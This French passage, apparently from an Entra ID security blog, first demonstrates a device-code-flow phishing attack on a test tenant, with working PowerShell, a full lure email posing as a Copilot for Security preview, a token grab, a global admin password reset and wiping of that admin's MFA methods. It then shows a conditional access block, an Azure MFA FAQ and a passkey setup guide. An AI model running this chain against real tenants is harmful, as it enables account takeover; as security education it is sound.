Ici, aucun besoin de consentement d’administration :

Sur la page principale de mon application, je récupère son Application ID :

Comme pour la première campagne, j’exécute les commandes suivantes pour de générer un Device Code Flow destiné à ma nouvelle application :

$ClientID = "1bc7e8a5-6442-4f35-8497-2cebe8c71f0c"
$Scope = "UserAuthenticationMethod.ReadWrite.All"
$body = @{
"client_id" = $ClientID 
"scope" = $Scope
}
$authResponse = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/common/oauth2/v2.0/devicecode" -Body $body 
Write-output $authResponse

Là encore, le code généré n’est valable que 15 minutes :

Je repasse par ChatGPT pour rédiger rapidement un second email d’hameçonnage interne destiné à mes utilisateurs Administrateur Global :

J’intègre mon corps d’email modifié et toutes les informations SMTP nécessaires (modifiées) à ma seconde campagne d’hameçonnage interne :

# SMTP : Serveur
$SMTPServer = "smtp.office365.com"

# SMTP : Port
$SMTPPort = 587

# SMTP : Expéditeur
$SMTPSender = "teacher1@tdcheduc.onmicrosoft.com"

# E-mail : objet
$EmailSubject = "Activation de l'essai de Copilot for Security toujours en attente"
# E-mail : corps
#$EmailBody = "<h1>Démo Microsoft Graph</h1>"
# Contenu de l'email en HTML
$emailBody = @"
<!DOCTYPE html>
<html>
<head>
    <title>Découvrez Copilot for Security</title>
</head>
<body style="font-family: Arial, sans-serif; line-height: 1.6; color: #333;">
    <h1 style="color: #1a73e8;">🚀 Découvrez Copilot for Security 🚀</h1>
    <p>Bonjour,</p>
    <p>Nous sommes ravis de vous présenter <strong>Copilot for Security</strong> - votre nouvel allié de confiance pour une sécurité renforcée !</p>
    <p>Copilot for Security est une solution révolutionnaire conçue pour simplifier et améliorer la sécurité de votre organisation. Imaginez une intelligence artificielle capable d'analyser vos systèmes en temps réel, de détecter les menaces potentielles avant qu'elles ne deviennent des problèmes, et de vous fournir des recommandations personnalisées pour renforcer votre posture de sécurité. C'est exactement ce que vous offre Copilot for Security !</p>
    <p>Mais ce n'est pas tout ! Nous avons une nouvelle excitante à partager : <strong>une préversion privée de Copilot for Security est désormais accessible sur demande</strong> !</p>
    <p>Ne manquez pas cette opportunité exclusive de tester notre solution avant tout le monde et de contribuer à façonner l'avenir de la sécurité informatique.</p>
    <p>Pour vous inscrire à la préversion privée, rendez-vous sur <a href="https://microsoft.com/devicelogin" style="color: #1a73e8; text-decoration: none;">notre page d'inscription</a> et utilisez le code suivant :</p>
    <p style="font-size: 1.2em; font-weight: bold; color: #d32f2f;">CUA75XNUX</p>
    <p>Nous avons hâte de vous accueillir parmi nos premiers utilisateurs et de vous voir profiter des nombreux avantages de Copilot for Security.</p>
    <p>Avec enthousiasme,<br>[Votre nom]<br>[Votre titre]<br>[Nom de votre entreprise]</p>
</body>
</html>
"@

# SMTP : Destinataire(s)
$SMTPRecipient = "ADMTeacher@TDCHEduc.onmicrosoft.com"

$SMTPRecipientList = @()
$SMTPRecipientList += @{
      EmailAddress = @{
         Address = $SMTPRecipient
   }
}

Je charge toutes ces informations dans les propriétés du message :

$EmailProperties = @{
   ToRecipients = $SMTPRecipientList
   Subject = $EmailSubject
   Body = @{
      ContentType = "HTML"
      Content = $EmailBody
   }
}

J’envoie les emails d’hameçonnage à mes Administrateurs cibles :

Send-MgUserMail -UserId $SMTPSender -Message $EmailProperties

Quelques secondes plus tard, l’email apparaît en boite de réception :

Il ne reste plus qu’à croiser les doigts qu’un des administrateurs Global se laisse tenter par cette formidable nouvelle.

Etape IV – Récupération du second token :

Admettons là encore qu’un Administrateur Global non IT clique sur le lien et recopie le code indiqué dans le second email d’hameçonnage :

Etant déjà authentifié, il ne lui reste qu’à choisir son compte admin 365 :

Pensant lui aussi l’action légitime, l’utilisateur clique simplement sur Accepter :

Entra ID lui informe alors que le processus d’authentification est terminé :

De notre côté, nous pouvons alors continuer nos opérations puisque l’authentification s’est bien déroulé :

$GrandType = "urn:ietf:params:oauth:grant-type:device_code"
$body = @{
"client_id" = $ClientID 
"grant_type" = $GrandType
"code" = $authResponse.device_code
}

La commande suivante nous permet de contrôler la présence de l’Access Token comme attendu :

$Tokens = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/common/oauth2/v2.0/token" -Body $body -ErrorAction SilentlyContinue
$Tokens
$graphApiToken  = $Tokens.access_token

Une connexion à MgGraph via ce second Access Token est alors possible :

Connect-MgGraph -AccessToken ($graphApiToken |ConvertTo-SecureString -AsPlainText -Force)

La commande suivante nous permet alors de situer l’utilisateur et les droits obtenus grâce l’Access Token récupéré auprès de notre application :

(Get-MgContext).Scopes

Parmi les autorisations obtenues figure la gestion des méthodes d’authentification :

Etape V – Reset et test de connexion :

Il nous reste alors qu’à lancer la commande suivant afin de réinitialiser le mot de passe d’un autre administrateur global présent sur le tenant :

$userid = "ga2@TDCHEduc.onmicrosoft.com"
$method = Get-MgUserAuthenticationPasswordMethod -UserId $userid
  
Reset-MgUserAuthenticationMethodPassword -UserId $userid -AuthenticationMethodId $method.id -NewPassword "zQ7!Ra3MM6ha" 

Il nous est même possible d’effacer les différentes méthodes MFA déjà enregistrées sur ce même compte :

$userid = "ga2@TDCHEduc.onmicrosoft.com"
$AuthMethods = Get-MgUserAuthenticationMethod -UserId $userid
ForEach ($AuthMethod in $AuthMethods){
    if ($AuthMethod.AdditionalProperties."@odata.type" -eq "#microsoft.graph.emailAuthenticationMethod"){
        Remove-MgUserAuthenticationEmailMethod -EmailAuthenticationMethodId $AuthMethod.id
    }
    if ($AuthMethod.AdditionalProperties."@odata.type" -eq "#microsoft.graph.microsoftAuthenticatorAuthenticationMethod"){
        Remove-MgUserAuthenticationMicrosoftAuthenticatorMethod -MicrosoftAuthenticatorAuthenticationMethodId $AuthMethod.id
    }
    if ($AuthMethod.AdditionalProperties."@odata.type" -eq "#microsoft.graph.fido2AuthenticationMethod"){
        Remove-MgUserAuthenticationFido2Method -Fido2AuthenticationMethodId $AuthMethod.id
    }
    if ($AuthMethod.AdditionalProperties."@odata.type" -eq "#microsoft.graph.windowsHelloForBusinessAuthenticationMethod"){
        Remove-MgUserAuthenticationFido2Method -Fido2AuthenticationMethodId $AuthMethod.id
    }
    if ($AuthMethod.AdditionalProperties."@odata.type" -eq "#microsoft.graph.phoneAuthenticationMethod"){
        Remove-MgUserAuthenticationPhoneMethod -PhoneAuthenticationMethodId $AuthMethod.id
    }
    if ($AuthMethod.AdditionalProperties."@odata.type" -eq "#microsoft.graph.phoneAuthenticationMethod"){
        Remove-MgUserAuthenticationPhoneMethod -PhoneAuthenticationMethodId $AuthMethod.id
    }
    if ($AuthMethod.AdditionalProperties."@odata.type" -eq "#microsoft.graph.softwareOathAuthenticationMethod"){
        Remove-MgUserAuthenticationSoftwareOathMethod -SoftwareOathAuthenticationMethodId $AuthMethod.id
    }
}

Par le biais d’un navigateur privé, il nous suffit de tester le nouveau mot de passe configuré sur l’administrateur global ciblé :

Comme attendu, Microsoft nous demande également de reconfigurer une ou plusieurs méthodes MFA sur ce compte :

Le compte et donc le tenant est donc maintenant sous notre contrôle. D’autres actions plus critiques pourraient alors suivre.

Mais, comme dit plus haut, Entra ID vous propose maintenant de bloquer les Device code flow via les Polices d’accès conditionnel.

Etape VI – Polices d’accès conditionnel :

Dans son journal des connexions Entra ID, Microsoft indique clairement l’usage d’un Device Code Flow :

Depuis le portail d’Entra ID, il est maintenant possible de définir une police ayant pour but de spécifiquement cibler et bloquer les connexions faites via Device Code Flow :

Une fois cette police en place, l’utilisateur lambda peut cliquer sur le lien :

Renseigner un code actif :

Choisir son identifiant 365 :

Et se retrouver bloqué et donc protégé de cette tentative d’usurpation :

Conclusion

En conclusion, le Device Code Flow offre une solution pratique pour l’authentification des appareils avec des capacités limitées tout en maintenant une expérience utilisateur fluide. Cependant, il est crucial de mettre en œuvre des mesures de sécurité robustes pour atténuer les risques potentiels associés à ce flux.

MFA pour tous les utilisateurs d’Azure à partir de juillet 2024

Microsoft vient d’annoncer, via un article posté sur le Techcommunity, une modification majeure à venir concernant l’authentification sur Azure : MFA pour tous ! Quand cela va arriver ? Qu’est-ce que cela implique ? Ces questions et bien d’autres encore sont légitimes. Tentons d’y voir plus clair ensemble.

Dans cet article sous forme de FAQ, je vous propose de commencer quelques notions important :

Et d’aborder ensuite les futurs changements prévus en juillet 2024 par Microsoft :

Qu’est-ce que la MFA ?

L’utilisation d’un mot de passe uniquement ne protège pas complètement des attaques. Si le mot de passe est faible ou s’il a été exposé ailleurs, un attaquant peut l’utiliser pour y accéder. Quand vous exigez une deuxième forme d’authentification, la sécurité est renforcée parce que ce facteur supplémentaire n’est pas un élément qu’un attaquant peut facilement obtenir ou dupliquer.

Microsoft Doc

La MFA propose donc d’aller plus loin que le couple classique identifiant / mot de passe. L’authentification multifacteur d’Entra ID impose de mettre en place les 3 méthodes d’authentification suivantes :

  • Un élément que vous connaissez (ex. mot de passe)
  • Un élément que vous possédez (ex. un appareil de confiance, comme un smartphone)
  • Un élément qui vous définit (ex. identifiant biométrique, tel qu’une empreinte digitale)

Voici l’écran de configuration utilisateur d’une méthode MFA possible :

L’URL suivante (https://aka.ms/mfasetup) permet de gérer et configurer ses méthodes MFA :

Quelle licence est nécessaire pour la disposer d’une MFA ?

Les choses ont quelque peu évolué ces dernières années chez Microsoft. Les licences Entra ID présentes et assignées aux utilisateurs concernés sont le point de départ aux méthodes de MFA disponibles.

Cette information au niveau tenant est disponible sur la page principale d’Entra ID :

Voici un tableau de comparaison des features MFA en fonction des licences Microsoft :

FonctionEntra ID Gratuit : paramètres de sécurité par défaut activésEntra ID
Gratuit
Office 365Entra ID P1Entra ID P2
Protection des comptes avec authentification multifacteur● (comptes d’administrateur général uniquement)
Application mobile comme second facteur
Appel téléphonique comme second facteur
Le SMS comme deuxième facteur
Contrôle d’administration sur les méthodes de vérification
Alerte de fraude
Rapports MFA
Messages de bienvenue personnalisés pour les appels téléphoniques
ID d’appelant personnalisé pour les appels téléphoniques
Adresses IP approuvées
Mémoriser MFA pour les appareils fiables
MFA pour les applications locales
Accès conditionnel
Accès conditionnel en fonction du risque

Autrement dit, un tenant même gratuit (ou non) et ayant la sécurité par défaut activée dispose d’une MFA accessible à tous ses utilisateurs :

Tous les utilisateurs d’un locataire Microsoft Entra ID Gratuit peuvent utiliser l’authentification multifacteur Microsoft Entra à l’aide des paramètres de sécurité par défaut. L’application d’authentification mobile peut être utilisée pour l’authentification multifacteur Microsoft Entra lors de l’utilisation des paramètres de sécurité par défaut Microsoft Entra ID Gratuit.

Microsoft Learn

Les paramètres de sécurité par défaut peuvent être activés dans le niveau Microsoft Entra ID Free. Avec les paramètres de sécurité par défaut, tous les utilisateurs sont activés pour l’authentification multifacteur à l’aide de l’application Microsoft Authenticator. Il n’est pas possible d’utiliser la vérification par SMS ou appel téléphonique avec les paramètres de sécurité par défaut, mais uniquement l’application Microsoft Authenticator.

Microsoft Learn

Mais pourquoi alors payer pour un service MFA disponible gratuitement ?

L’activation de la sécurité par défaut sur un tenant est gratuite, mais reste non personnalisable. Microsoft recommande d’ailleurs une utilisation agile de la MFA grâce à l’utilisation de polices d’accès conditionnel, disponibles dans les licences Microsoft Entra ID P1 ou P2.

Un précédent article dédié aux accès conditionnels est disponible juste ici :

Existe-t-il des différentes configurations MFA possibles sur un tenant ?

Pour rappel, il est actuellement possible de configurer le challenge MFA via 3 méthodes distinctes :

  • Paramètres de sécurité par défaut
  • Accès conditionnel
  • Authentification multifacteur par utilisateur (per-user MFA)

Important : N’activez pas ou n’appliquez pas l’authentification MFA par utilisateur si vous utilisez également des polices d’accès conditionnel.

StratégieParamètres de sécurité par défautAccès conditionnelAuthentification multifacteur par utilisateur
Gestion
Ensemble standard de règles de sécurité pour garantir la sécurité de votre entreprise
Activé/désactivé en un clic
Inclus dans la gestion des licences Office 365 (voir les considérations relatives aux licences)
Modèles préconfigurés dans l’assistant Centre d’administration Microsoft 365
Flexibilité de la configuration
Fonctionnalité
Exempter les utilisateurs de la stratégie
Authentification par appel téléphonique ou SMS
S’authentifier par Microsoft Authenticator et jetons logiciels
Authentification par FIDO2, Windows Hello Entreprise et les jetons matériels
Bloque les protocoles d’authentification hérités
Les nouveaux employés sont automatiquement protégés
Déclencheurs MFA dynamiques en fonction des événements à risque
Stratégies d’authentification et d’autorisation
Configurable en fonction de l’emplacement et de l’état de l’appareil
Prise en charge du mode « Rapport seul »
Possibilité de bloquer complètement les utilisateurs/services

Attention la méthode appelée Authentification multifacteur par utilisateur ou Per-user MFA est vouée à disparaitre :

En mars 2023, nous avons annoncé la dépréciation de la gestion des méthodes d’authentification dans les stratégies héritées de l’authentification multifacteur et de la réinitialisation de mot de passe en libre-service (SSPR). À compter du 30 septembre 2025, les méthodes d’authentification ne pourront pas être managées dans ces stratégies MFA et SSPR héritées.

Microsoft Learn

L’écran suivant est accessible via cette URL :

Peut-on migrer d’une configuration MFA à une autre ?

A cause de ce décommissionnement prévu pour 2025, Microsoft a déjà mis à disposition une documentation expliquant différentes étapes pour assurer une transition réussie :

Le SSPR (Réinitialisation du mot de passe en libre-service) et l’ancienne méthode MFA seront donc gérés par les Méthodes d’authentification unifiées :

Qu’est-ce qui se passe en juillet 2024 ?

La nouvelle est passée un peu inaperçue, mais juillet 2024 marque un pas important pour la sécurité Azure :

En juillet (2024), les équipes Azure commenceront à déployer des mesures de sécurité supplémentaires au niveau des locataires pour exiger l’authentification multifactorielle (MFA).

Microsoft Techcommunity

Autrement dit, le déploiement de cette règle MFA sera progressif et concernera à terme l’ensemble des tenants hébergés sur le Cloud public de Microsoft.

Quels sont les services impactés par ce changement ?

Azure et seulement Azure. Ce point est très important d’autres services 365, ou même l’utilisation de services pourtant hébergés Azure ne seront pas impactés par ce changement. Enfin, gardez à l’esprit qu’Azure est accessible via différentes méthodes, et seront donc toutes concernés :

  • Portail Azure
  • CLI
  • PowerShell
  • Terraform

À partir de juillet 2024, un déploiement progressif de cette application pour le portail uniquement commencera. Une fois le déploiement terminé pour le portail, un déploiement progressif similaire commencera pour CLI, PowerShell et Terraform.

Microsoft Techcommunity

Il s’agit donc d’assurer un contrôle MFA systématique afin de protéger les actions en relation avec la gestion des ressources Azure.

Quelles seront les méthodes de MFA possibles pour Azure ?

Les méthodes MFA classiques suivantes pourront être utilisées pour l’authentification Azure :

  • Microsoft Authenticator
  • Authenticator Lite (dans Outlook)
  • Windows Hello Entreprise
  • Clé de sécurité FIDO2
  • Token matériel OATH (préversion)
  • Token logiciel OATH
  • SMS
  • Appel vocal

Quelles sont les identités concernées / non concernées ?

Merci à John Savill pour ce schéma expliquant l’impact entre tous les types d’identités possibles sur Entra ID :

Sont donc concernées :

  • Toutes les identités humaines accédant à Azure dans le cadre de l’administration de ressources (membres et invités)

Sont donc non concernées :

  • Principaux de services
  • Identités managées (user ou système)
  • Comptes basés sur des tokens et utilisés pour l’automatisation

Un travail chez les utilisateurs est donc nécessaire. Mais un contrôle est aussi à prévoir sur les process automatisés utilisant des identités utilisateurs au lieu de des principaux de service ou d’identités managées.

Comment se rendre compte de l’impact avant le jour J ?

Après investigations, Il existe un template de police d’accès conditionnel qui semblerait très proche du résultat attendu par l’évolution de Microsoft prévue pour juillet 2024 :

Cette police semble bien cibler la gestion des ressources Azure :

La mise en place de cette police en mode Report seulement serait alors un premier pas vers la compréhension de ce qui va se passer sur votre environnement :

Conclusion

Dans tous les cas, gardez en tête les points suivants, et je ne peux que vous conseiller de prendre les devants dès que possible :

  • Microsoft recueille encore les feedbacks pour certains scénarios tels que les comptes « break-glass ».
  • Commencez à examiner les identifiants Entra utilisés pour les opérations de management, développement et les accès API à Azure Resource Manager.
  • Si nécessaire, remplacer les identités des utilisateurs par des principaux de service ou des identités managées.

Bon courage à tous 💪🙏😎

Configurez votre Passkey sur Entra ID

Microsoft vient d’annoncer il y a quelques heures l’extension de la prise en charge des clés de sécurité dans Microsoft Entra ID via l’application Microsoft Authenticator sur iOS et Android. C’est le moment de mettre un coup d’arrêt aux attaques de types Adversary-in-the-Middle (AitM) ! 💪🔌

Pourquoi utiliser une méthode d’authentification renforcée ?

Microsoft n’est pas le seul à le dire, tous les grands acteurs recommandent des méthodes d’authentification sans mot de passe. Elles apportent expérience de connexion plus sécurisée :

Microsoft propose juste ici une comparaison claire concernant les différentes méthodes les plus répendues :

Méthode d’authentificationSécuritéUsageDisponibilité
Windows Hello EntrepriseÉlevéÉlevéÉlevé
Microsoft AuthenticatorÉlevéÉlevéÉlevé
Authenticator LiteÉlevéÉlevéÉlevé
Clè d’accès (FIDO2)ÉlevéÉlevéÉlevé
Authentification par certificatÉlevéÉlevéÉlevé
Jetons matériels OATH (version préliminaire)MoyenneMoyenneÉlevé
Jetons logiciels OATHMoyenneMoyenneÉlevé
Passe d’accès temporaire (TAP)MoyenneÉlevéÉlevé
SMSMoyenneÉlevéMoyenne
VoixMoyenneMoyenneMoyenne
Mot de passeFaibleÉlevéÉlevé

Voici d’autres liens très utiles sur le sujet :

Qu’est-ce que les passkeys ?

Une passkey est une méthode qui permet aux utilisateurs d’accéder à des systèmes ou des services sans utiliser les mots de passe traditionnels. En général, elle repose sur des méthodes de déverrouillage d’appareils familières telles que la biométrie (comme les empreintes digitales ou la reconnaissance faciale) ou les codes PIN pour vérifier l’identité des utilisateurs.

Voici justement une courte vidéo en français expliquant les passkeys :

Merci à Merill Fernando pour cette illustration qui montre le processus d’ouverture de session sur votre iPhone ou Android :

Quelles sont les différences entre les passkeys et les clefs FIDO ?

Un premier article avait déjà été écrit sur les clefs FIDO, dont voici le lien. Mais l’excellent article de BIO-key explique les différences de façon assez claire, dont voici une traduction en français :

Sécurité :

  • Résistance aux attaques : Les passkeys reposent sur des méthodes de déverrouillage d’appareils et sont vulnérables aux attaques ciblant les mesures de sécurité de l’appareil (comme le spoofing biométrique ou le devinage de PIN) ou les techniques d’ingénierie sociale. En revanche, les clés de sécurité utilisent des méthodes cryptographiques robustes et offrent une protection supérieure contre une large gamme d’attaques à distance, y compris le phishing, l’homme du milieu et le bourrage d’identifiants.
  • Stockage et gestion des clés : Les passkeys stockent généralement les clés sur l’appareil de l’utilisateur, ce qui peut les rendre vulnérables à un accès non autorisé. Les clés de sécurité stockent quant à elles les clés cryptographiques dans le jeton matériel lui-même, réduisant ainsi le risque de compromission des clés.

Facilité d’utilisation :

  • Expérience utilisateur : Les passkeys offrent une expérience plus conviviale, car elles utilisent des méthodes de déverrouillage d’appareils familières telles que la biométrie ou les PIN. En revanche, les clés de sécurité peuvent nécessiter des étapes supplémentaires ou la possession physique, ce qui peut affecter leur facilité d’utilisation.
  • Formation et intégration : Évaluez la facilité de former les utilisateurs à l’utilisation efficace des passkeys ou des clés de sécurité. Les passkeys peuvent avoir une courbe d’apprentissage plus courte, tandis que les clés de sécurité peuvent nécessiter plus de guidage et d’éducation.

Commodité :

  • Dépendance à l’appareil : Les passkeys reposent sur l’appareil de l’utilisateur pour l’authentification, ce qui les rend plus pratiques pour les utilisateurs qui changent fréquemment d’appareil. En revanche, les clés de sécurité, en tant que jetons physiques, nécessitent que les utilisateurs les portent pour l’authentification, ce qui peut être moins pratique pour certains individus.
  • Perte ou oubli des identifiants : Évaluez l’impact de la perte ou de l’oubli des passkeys ou des clés de sécurité sur l’accès des utilisateurs. Les passkeys peuvent offrir des options de récupération plus faciles, tandis que les clés de sécurité peuvent nécessiter des étapes supplémentaires ou une intervention administrative.

Scalabilité :

  • Déploiement et gestion : Évaluez la facilité de déploiement et de gestion des passkeys ou des clés de sécurité auprès d’une population d’utilisateurs diversifiée. Tenez compte de facteurs tels que la provision, la révocation et les capacités de gestion centralisée.
  • Considérations financières : Évaluez les implications financières de la mise en œuvre des passkeys ou des clés de sécurité à grande échelle. Tenez compte de facteurs tels que les coûts initiaux, la maintenance continue et les besoins éventuels de remplacement des appareils.

Compatibilité :

  • Normes et support : Les passkeys et les clés de sécurité doivent être conformes à des normes largement adoptées telles que FIDO2 (Fast Identity Online) pour assurer la compatibilité avec diverses plateformes et services.
  • Intégration des applications : Évaluez la compatibilité des passkeys ou des clés de sécurité avec les applications et systèmes cibles. Tenez compte de facteurs tels que les API disponibles, les SDK et le niveau d’effort d’intégration requis.
Blog BIO-Key

Pour vous faire une meilleure idée, je vous propose de réaliser ensemble un petit exercice sur la mise en place d’une passkey sur un utilisateur d’un tenant Azure :

Etape 0 – Rappel des prérequis :

Pour réaliser ces tests de passkey sur votre tenant Microsoft, il vous faudra disposer de :

  • Un tenant Microsoft 😎

Voici une vue de la page des informations de sécurité de l’utilisateur avant l’activation de la fonctionnalité Passkey :

Il n’est pour l’instant pas possible de lui ajouter une passkey, bien que le tenant soit déjà correctement configuré pour les clefs FIDO :

Avant de pouvoir ajouter une passkey sur un utilisateur de test, il est nécessaire d’activer cette fonctionnalité (encore en préversion) via le portail Entra ID.

Etape I – Configuration passkey du tenant :

Pour cela, rendez-vous sur la page de Microsoft Entra ID par ce lien, rendez-vous dans le menu suivant, puis cliquez sur la rubrique FIDO2 :

Sur le second onglet, configurer ou reconfigurer les options comme ceci :

Comme il est nécessaire d’ajouter des AAGUID spécifiques (Apple / Android) aux passkeys, il est important de reprendre également ceux utilisés pour les clefs FIDO (Un grand merci à Nathan McNulty pour le script !)

Pour cela, commencez par installer le module Graph :

Install-Module Microsoft.Graph

Connectez-vous à votre tenant via le module Graph en utilisant un compte ayant les permissions nécessaires :

Connect-MgGraph -Scope AuditLog.Read.All,UserAuthenticationMethod.Read.All

Listez tous les AAGUID des clés FIDO2 enregistrées pour tous vos utilisateurs via la commande suivante :

((Get-MgReportAuthenticationMethodUserRegistrationDetail -Filter "methodsRegistered/any(i:i eq 'passKeyDeviceBound')" -All).Id | ForEach-Object { Get-MgUserAuthenticationFido2Method -UserId $_ -All }).AaGuid | Select-Object -Unique

Copiez les valeurs AAGUID dans la configuration, puis ajoutez les deux AAGUID correspondants respectivement aux Microsoft Authenticator pour Android / Apple

de1e552d-db1d-4423-a619-566b625cdc84
90a3ccdf-635c-4729-a248-9b709135078f

Cela donne la vue suivant, puis cliquez sur Sauvegarder :

Notre tenant est maintenant correctement configuré. Il faudrait attendre environ 5 à 10 minutes afin que l’utilisateur puisse retrouvez la nouvelle option.

Etape II – Configuration passkey de l’utilisateur :

Avant cela, pensez à activer le Bluetooth sur votre ordinateur :

Retournez sur la page des informations de sécurité de l’utilisateur, puis cliquez-ici pour ajouter une passkey :

Choisissez Passkey, puis cliquez sur Suivant :

Avant confirmez votre identité par un premier challenge MFA :

Une fois le challenge MFA réussi, cliquez sur Suivant :

Lisez la consigne, puis cliquez sur Suivant :

Choisissez la marque correspondante à votre téléphone :

Lisez la consigne, puis cliquez sur Continuer :

Lisez la consigne, puis cliquez sur Suivant :

Lisez le message, puis cliquez sur Je comprends :

Cliquez sur Suivant :